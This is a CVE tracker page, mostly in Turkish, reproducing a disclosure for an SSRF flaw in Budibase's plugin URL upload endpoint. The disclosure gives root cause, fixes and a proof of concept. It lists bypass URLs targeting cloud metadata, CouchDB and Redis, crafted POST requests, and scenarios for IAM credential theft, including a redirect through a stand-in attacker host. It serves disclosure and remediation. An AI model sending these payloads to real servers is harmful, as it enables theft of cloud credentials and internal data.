CVE Listesine Dön
CVE-2026-45061

Budibase vulnerable to SSRF via trivial `.tar.gz` substring bypass in Plugin URL upload (`/api/plugin`)

CVSS Skor

7.7

EPSS İhtimal

%0.3

Risk Skoru

0.0

Yayın

5 ay önce

Yama durumu henüz doğrulanamadı

Resmî kaynaklarda yeterli kanıt bulunamadı. Bu sonuç “yama yok” anlamına gelmez.

Envanterimdeki Etkisi

Yalnızca hesabınıza eklediğiniz kişisel ürünler değerlendirilir; kurumsal envanter burada görünmez.

Oturum kontrol ediliyor…

Zafiyet Açıklaması

DayBreach CVE AI Araştırması

CVE-2026-45061 için toplanan üretici, dağıtım, yama ve güvenlik kaynağı kayıtlarını karşılaştırıp kanıt bağlantılı bir açıklama hazırlayalım.

## 1. Summary | Field | Value | |-------|-------| | **Title** | SSRF via trivial `.tar.gz` substring bypass in Plugin URL upload | | **Product** | Budibase (Self-Hosted) | | **Version** | ≤ 3.34.11 (latest stable as of 2026-03-30) | | **Component** | `packages/server/src/api/controllers/plugin/url.ts` | | **Vulnerability Type** | CWE-918: Server-Side Request Forgery (SSRF), CWE-184: Incomplete List of Disallowed Inputs | | **Severity** | High (chained) / Medium (standalone) | | **CVSS 3.1 Score (chained)** | 7.7 — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N` | | **CVSS 3.1 Score (standalone)** | 5.4 — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N` | | **Attack Vector** | Network | | **Privileges Required** | Low (Global Builder role) | | **User Interaction** | None | | **Affected Deployments** | All Budibase instances with plugin loading enabled (default) | --- ## 2. Description The Plugin URL upload endpoint (`POST /api/plugin`) validates the submitted URL with a single substring check: `url.includes(".tar.gz")`. Any URL containing `.tar.gz` anywhere in the string — in the path, query string, or fragment — passes this check. The URL then proceeds directly to `fetchWithBlacklist()` with no further validation of host, scheme, or path. Standalone, this vulnerability is blocked by Budibase's default SSRF blacklist, which covers private IP ranges. But the URL validation layer itself is broken regardless, and it directly enables SSRF in two realistic situations: (1) when chained with the `BLACKLIST_IPS` bypass ([001]), where the blacklist is empty; and (2) when the plugin server follows HTTP redirects from an external URL to an internal target (the default `node-fetch` behavior with `redirect: 'follow'`). The developer team's own test suite (`objectStore.spec.ts:393`) tests that `downloadTarballDirect` passes through `fetchWithBlacklist` — confirming they're aware of the SSRF risk on this path. The `.tar.gz` substring check as the only URL-level guard was never intended to be the security boundary, but in practice it is. --- ## 3. Root Cause Analysis ### 3.1 Trivial substring-based URL validation **File**: `packages/server/src/api/controllers/plugin/url.ts` ```typescript // Lines 7-19 export async function urlUpload(url: string, name = "", headers = {}) { if (!url.includes(".tar.gz")) { // ← ONLY validation: any URL with ".tar.gz" anywhere passes throw new Error("Plugin must be compressed into a gzipped tarball.") } const path = await downloadUnzipTarball(url, name, headers) // ↑ url is passed directly — no host allowlist, no scheme check, no path normalization try { return await getPluginMetadata(path) } catch (err) { deleteFolderFileSystem(path) throw err } } ``` **Problem**: `url.includes(".tar.gz")` checks for a substring anywhere in the full URL string. It does not validate hostname, scheme, or that `.tar.gz` appears as an actual file extension at the end of the path. ### 3.2 Bypass examples | Attack URL | `includes(".tar.gz")` | Actual request target | |------------|----------------------|----------------------| | `http://169.254.169.254/.tar.gz` | ✅ passes | AWS IMDS | | `http://127.0.0.1:4005/_session.tar.gz` | ✅ passes | CouchDB | | `http://10.0.0.1:6379/.tar.gz` | ✅ passes | Redis | | `http://attacker.com/file.tar.gz?x=http://internal/` | ✅ passes | Redirect to internal | | `http://internal-host/.tar.gz#fragment` | ✅ passes | Internal service | ### 3.3 Developer awareness of SSRF risk on this path **File**: `packages/backend-core/src/objectStore/tests/objectStore.spec.ts` ```typescript // Line 393 it("uses fetchWithBlacklist in downloadTarballDirect", async () => { downloadTarballDirect("http://169.254.169.254/metadata/v1/", "tmp") // ← team explicitly tests that IMDS is blocked via blacklist }) ``` The team knows this code path can reach IMDS. They rely on `fetchWithBlacklist` as the defense — but never tested the `.tar.gz` substring bypass that trivially routes around it at the URL validation layer. ### 3.4 Authorization model | Operation | Endpoint | Required Permission | |-----------|----------|---------------------| | Plugin URL upload | `POST /api/plugin` | Global Builder | **Key insight**: The plugin endpoint is behind `globalBuilderRoutes`, which requires Global Builder permission. This is a low-privilege role routinely granted to developers on self-hosted instances. --- ## 4. Impact Analysis ### 4.1 Confidentiality — High (chained) / Low (standalone) When chained with [001] (`BLACKLIST_IPS` bypass): - **AWS/GCP/Azure IMDS** (`169.254.169.254`) — IAM credentials, service account tokens - **CouchDB** (`127.0.0.1:4005`) — application databases, user records - **Redis** (`127.0.0.1:6379`) — session tokens - **Internal network services** (`172.16.0.0/12`, `10.0.0.0/8`) Standalone (with default blacklist active): - **Open redirect chains** — if the plugin server follows redirects from external URLs to internal IPs, the blacklist check on the original URL does not protect against the redirected destination. This depends on `node-fetch` redirect behavior and whether `fetchWithBlacklist` re-checks the redirected URL. ### 4.2 Integrity — None (GET-only path) The plugin URL upload uses GET-only semantics via `fetchWithBlacklist`. No write operations to internal services via this path. ### 4.3 Availability — None No service disruption. ### 4.4 Scope Change (chained) Same as [001]: crosses application → infrastructure boundary when combined with the blacklist bypass. --- ## 5. Proof of Concept > **Verification status**: Code-level confirmed. End-to-end Docker test pending. > PoC files are ready: `poc/004_plugin_url_ssrf/poc_004_plugin_url_ssrf.py` + `docker-compose.yml` ### 5.1 Environment Setup ```bash # poc/004_plugin_url_ssrf/docker-compose.yml services: budibase: image: budibase/budibase:latest environment: SELF_HOSTED: "1" BLACKLIST_IPS: "" # ← enables chained SSRF (001) JWT_SECRET: "poc_jwt_secret" BB_ADMIN_USER_EMAIL: "poc@budibase.com" BB_ADMIN_USER_PASSWORD: "pocPassword123!" ports: ["10000:10000"] victim: image: python:3.11-alpine command: python -m http.server 8888 ``` ```bash cd poc/004_plugin_url_ssrf docker-compose up -d python3 poc_004_plugin_url_ssrf.py --target http://localhost:10000 ``` ### 5.2 Step 1 — Bypass the `.tar.gz` check with a crafted URL ```http POST /api/plugin HTTP/1.1 Host: localhost:10000 Cookie: budibase:auth=<builder-session-cookie> Content-Type: application/json { "source": "URL", "url": "http://victim:8888/.tar.gz", "name": "poc-test" } ``` The `url.includes(".tar.gz")` check passes because `.tar.gz` appears in the path. The URL `http://victim:8888/.tar.gz` is not a valid tarball — but the string check doesn't know that. ### 5.3 Step 2 — Expected response (SSRF confirmed) **With blacklist active (default config):** ```json { "message": "Failed to import plugin: URL is blocked or could not be resolved safely." } ``` **With `BLACKLIST_IPS=""` (chained with 001):** ```json { "message": "Failed to import plugin: incorrect header check" } ``` The `"incorrect header check"` error (zlib decompressor receiving HTTP response headers) proves the request reached `victim:8888`. The `.tar.gz` substring check was bypassed, and the HTTP fetch completed. ### 5.4 Additional bypass payloads tested (code-level only) | URL | Check bypass | Intended target | |-----|-------------|-----------------| | `http://169.254.169.254/.tar.gz` | ✅ | AWS IMDS | | `http://127.0.0.1:4005/_session.tar.gz` | ✅ | CouchDB | | `http://127.0.0.1:6379/.tar.gz` | ✅ | Redis | | `http://attacker.com/real.tar.gz` (redirects to `http://10.0.0.1/`) | ✅ | Internal via redirect | --- ## 6. Attack Scenarios ### Scenario A — Chained with [001]: AWS IMDS credential theft ``` 1. Self-hosted deployment has BLACKLIST_IPS set to any value (see report 001) 2. Builder user sends: POST /api/plugin { "source": "URL", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name.tar.gz" } 3. Budibase fetches IMDS endpoint → receives IAM credentials JSON 4. zlib decompressor fails on non-gzip content → error response 5. Depending on logging config, credential material may appear in logs or error details ``` ### Scenario B — Standalone: Open redirect SSRF (default config) ``` 1. Attacker controls external server: GET /plugin.tar.gz → 302 → http://192.168.1.1/admin 2. Builder user submits: POST /api/plugin { "source": "URL", "url": "http://attacker.com/plugin.tar.gz" } 3. node-fetch follows redirect (default: redirect: 'follow') 4. If fetchWithBlacklist only checks the original URL (not the redirected URL), internal IP is reached 5. Requires verification of redirect handling in fetchWithBlacklist ``` ### Scenario C — CouchDB data access (chained) ``` 1. BLACKLIST_IPS="" enables internal access 2. URL: http://127.0.0.1:4005/_all_dbs.tar.gz 3. CouchDB responds with JSON list of databases 4. zlib error confirms HTTP request reached CouchDB ``` --- ## 7. Affected Code Paths ``` POST /api/plugin (Global Builder auth) │ ▼ packages/server/src/api/controllers/plugin/index.ts │ source === "URL" → urlUpload(url, name, headers) ▼ packages/server/src/api/controllers/plugin/url.ts:8 │ if (!url.includes(".tar.gz")) throw ← ONLY check — trivially bypassed │ → "http://169.254.169.254/.tar.gz" passes ▼ packages/server/src/utilities/fileSystem/plugins.ts │ downloadUnzipTarball(url, name, headers) ▼ packages/backend-core/src/objectStore/objectStore.ts:703 │ downloadTarballDirect(url, path, headers) ▼ packages/backend-core/src/objectStore/utils/outboundFetch.ts │ fetchWithBlacklist(url, options) │ isBlacklisted(hostname) │ ├─ [default config] → BlockList has 9 private ranges → 169.254.x BLOCKED ✓ │ └─ [BLACKLIST_IPS set, chained with 001] → empty BlockList → 169.254.x REACHABLE ✗ ``` --- ## 8. Recommended Fixes ### Fix 1 (High): Replace substring check with URL parsing and extension validation ```typescript // packages/server/src/api/controllers/plugin/url.ts import { URL } from "url" export async function urlUpload(url: string, name = "", headers = {}) { let parsed: URL try { parsed = new URL(url) } catch { throw new Error("Invalid plugin URL.") } // Only allow https:// scheme if (parsed.protocol !== "https:") { throw new Error("Plugin URL must use HTTPS.") } // Require the path to end with .tar.gz (not just contain it anywhere) if (!parsed.pathname.endsWith(".tar.gz")) { throw new Error("Plugin must be compressed into a gzipped tarball (.tar.gz).") } const path = await downloadUnzipTarball(url, name, headers) // ... } ``` ### Fix 2 (High): Re-check blacklist after redirect in `fetchWithBlacklist` ```typescript // packages/backend-core/src/objectStore/utils/outboundFetch.ts // Current: only checks the original URL before fetch // Fix: also intercept redirects and re-check each redirect target const response = await nodeFetch(url, { ...options, redirect: "manual", // don't auto-follow }) if (response.status >= 300 && response.status < 400) { const redirectUrl = response.headers.get("location") if (redirectUrl) { const redirectHost = new URL(redirectUrl).hostname if (await isBlacklisted(redirectHost)) { throw new Error("URL is blocked or could not be resolved safely.") } // recursively fetch (with depth limit) } } ``` ### Fix 3 (Medium): Add hostname allowlist option for plugin sources Provide a `PLUGIN_ALLOWED_HOSTS` variable that restricts plugin URL downloads to explicitly approved domains, rather than relying solely on a blocklist. --- ## 9. References - **CWE-918**: Server-Side Request Forgery (SSRF) — https://cwe.mitre.org/data/definitions/918.html - **CWE-184**: Incomplete List of Disallowed Inputs — https://cwe.mitre.org/data/definitions/184.html - **OWASP SSRF Prevention Cheat Sheet** — https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html - **Related finding**: [001] `BLACKLIST_IPS` bypass — `report/raw/001_ssrf_blacklist_bypass.md` - **Developer SSRF awareness test**: `packages/backend-core/src/objectStore/tests/objectStore.spec.ts:393`

IMPACT — Etkilenen Ürünler ve Yazılımlar

Affected Products

The following products are affected by CVE-2026-45061 vulnerability. Even if our threat engine is aware of the exact versions of the products that are affected, the information is represented below.

IDVENDORPRODUCTACTION
1npmbudibase İncele
Total Affected Vendor: 1|Products: 1

RED HAT CSAF/VEX — Ürün Etki Kontrolü

Red Hat bu CVE için henüz bir CSAF/VEX etki kaydı yayımlamamış. Bu durum “etkilenmiyor” anlamına gelmez.

SCORING — CVSS Çoklu Kaynak Skoru

CVSS Scores

The Common Vulnerability Scoring System is a standardized framework for assessing the severity of vulnerabilities in software and systems. We collect and display CVSS scores from various sources for each CVE.

SCOREVERSIONSEVERITYVECTORSOURCE
7.7CVSS 3.x—Vektör yayımlanmadıGitHub Advisory
0.0CVSS 4.0—Vektör yayımlanmadıGitHub Advisory

Yama ve İyileştirme Rehberi (Solution)

Solution & Remediation Advisory

Yama durumu bilinmiyor

İncelenen resmî kaynaklarda yama durumu doğrulanamadı. Bu sonuç “yama yok” anlamına gelmez.

Etkilenen ürün ve sürümü yukarıdaki kaynak kanıtlarıyla doğrulayın.
İnternete açık servislerde erişimi kısıtlayın ve ağ segmentasyonu uygulayın.
Yama doğrulanana kadar üretici bültenini izleyin; bilinmeyen durumu “yama yok” olarak yorumlamayın.
Sunucu günlüklerini ve ağ uçlarını anormal çalıştırma belirtileri için izleyin.

Public exploit ve aktif sömürü durumu

Doğrulanmış exploit istihbaratı

Bu CVE için henüz doğrulanmış public PoC, exploit repository’si veya Metasploit modülü bulunamadı.

Zafiyet Dağılımı ve Saldırı Kalıpları (CWE & CAPEC)

CWE - Common Weakness Enumeration

While CVE identifies specific instances of vulnerabilities, CWE categorizes the common flaws or weaknesses that can lead to vulnerabilities. CVE-2026-45061 is associated with the following CWEs:

Common Attack Pattern Enumeration and Classification (CAPEC)

Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2026-45061 weaknesses.

Saldırı Vektörü ve Erişilebilirlik Karakteristiği

ErişimAğ üzerinden
YetkiDüşük
KullanıcıGerekmiyor

Resmi Kaynaklar ve Danışma Bültenleri

CVSS Vektör Radar Grafiği

7.7 / 10
Attack VectorNetworkComplexityLowPrivilegesLowUser Interact.NoneConfidentialityLowIntegrityNoneAvailabilityNone

Vulnerability Scoring Details

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Attack VectorNetwork (Ağ)
Attack ComplexityLow (Düşük)
Privileges RequiredLow (Düşük Yetki)
User InteractionNone (Gerekmiyor)
Confidentiality (Gizlilik)Low (Düşük)
Integrity (Bütünlük)None (Yok)
Availability (Erişilebilirlik)None (Yok)

Yama durumu bilinmiyor

İncelenen resmî kaynaklarda yama durumu doğrulanamadı. Bu sonuç “yama yok” anlamına gelmez.

Üreticiyi takip et

N
npm logo
npm

Zafiyet Türü (CWE & CAPEC)

İlgili Benzer Açıklar

Bu açığı API ile alın

Etkilenen ürünler, sürüm aralıkları, istismar durumu ve yama bilgisi tek istekte; ücretsiz anahtarla.

curl -H "x-api-key: $DAYBREACH_API_KEY" \
  "https://api.daybreach.dev/api/v1/intel/cves/CVE-2026-45061"